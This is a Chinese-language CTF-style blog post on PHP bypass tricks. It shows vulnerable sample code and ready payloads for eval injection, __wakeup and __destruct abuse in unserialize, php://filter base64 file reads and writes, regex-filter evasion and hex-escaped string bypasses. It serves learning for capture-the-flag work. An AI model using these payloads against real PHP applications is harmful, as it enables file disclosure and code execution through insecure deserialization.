[PHP] 一些绕过技巧和利用方法
eval
eval("")
传入的东西将会被认作php代码来执行,结尾必须有分号否则报错,如果有多行只会执行第一行。eval("#".$payload);
这样的payload,可以通过?><?php
绕过,由于第一条,所以不能用类似于nxxxxx来绕过。
__wakeup
如果 __wakeup函数中有着你不想让它触发的代码,且php版本在 PHP5 < 5.6.25 或 PHP7 < 7.0.10
就可以通过unserialize
中传入的参数个数和实际的个数不匹配来绕过__wakeup
函数的执行。
__destruct
这个函数会在php回收对象的时候调用,有几种情况
- PHP 代码执行完毕
- 直接
new A();
,对象直接会被销毁(没有变量存)。 $a = new A(); $a = 114514;
覆盖掉new的类也会被销毁。unset($a);
手动删除对象- 反序列化错误,比如
<?php
highlight_file(__FILE__);
class foo {
public function __destruct()
{
echo "flag{114514}";
}
}
$a = unserialize($_GET['input']);
throw new Exception('st0p');
由于有Exception,类不会被在执行完毕的时候被销毁,所以第一条直接失效了。
我们正常序列化这个类,结果是O:3:"foo":0:{}
我们稍微改造一下这个,把他弄成错误的,比如O:3:"foo":0:{
由于反序列化从左到右,所以他已经把foo类创建了,但是报错会让它被销毁,这样就利用成功。
当然,也可以使用第三条来利用:
file_put_contents / file_get_contents
这个函数可以传入PHP伪协议
,详情请见另一篇文章,下面给出一些快速使用例子。
b64读:php://filter/read=convert.base64-encode/resource=flag.php
b64写:php://filter/write=convert.base64-encode/resource=flag.php
- b64写可以绕死亡之exit();
preg_match
preg_match('/^O:d+/', $s) 的绕过
这个match会防止你传入一个反序列化的对象,如下题:
<?php
class A
{
public function __wakeup()
{
echo "flag{114514}";
}
}
$s = $_get['ans'];
if(!preg_match('/^O:\d+/', $s))
{
echo "unserializing...</br>";
unserialize($s);
}
这时,我们如果直接传O:1:"A":0:{}
这样的对象,会被直接正则匹配从而失败。
但是我们如果传a:1:{i:0;O:1:"A":0:{}}
就可以绕过,a是一个array,有一个元素,其中第0个元素就是我们的这个对象,这样对于array的unserialize,里面的所有对象都会被unserialize,这样我们也达到了目的。生成方法:echo serialize(array(new A));
当然,对于低版本的php,我们直接传入O:+1:"A":0:{}
,(注意+要被urlencode)也可以绕过正则匹配。而array法绕过对于较高版本php可行。
严格等于(===)的绕过
地址相同的反序列化
如题
<?php
class A{
public $a;
public $b;
public function __wakeup()
{
$this->a = 'aaa';
}
public function __destruct()
{
if($this->a === $this->b && $this->b === 'aaa')
{
echo "flag{114514}";
}
else {
die('b must be aaa!!!');
}
}
}
if(isset($_REQUEST['input']))
{
if(preg_match('/aaa/', $_REQUEST['input']))
{
die('no!!');
}
unserialize($_REQUEST['input']);
}
else {
highlight_file(__FILE__);
}
分析一下代码,$b必须是aaa,但是我序列化的时候不能把他直接设置为aaa,所以:
我们采用php的引用法,把b设置为对的引用就行了。
<?php
class A{
public $a;
public $b;
public function __construct()
{
$this->b = &$this->a;
}
}
echo urlencode(@serialize(new A));
这样在__wakeup
的时候,$a被设置为了aaa,但是b是a的引用,所以b也自动变成了aaa,就可以绕过
字符串检测绕过
hex绕过
手动更改序列化中的s(字符串)为S(需要转义的字符串),然后修改后面需要绕过的字符串即可。
值得注意的是,\必须被URLencode才能传上去。
评论已关闭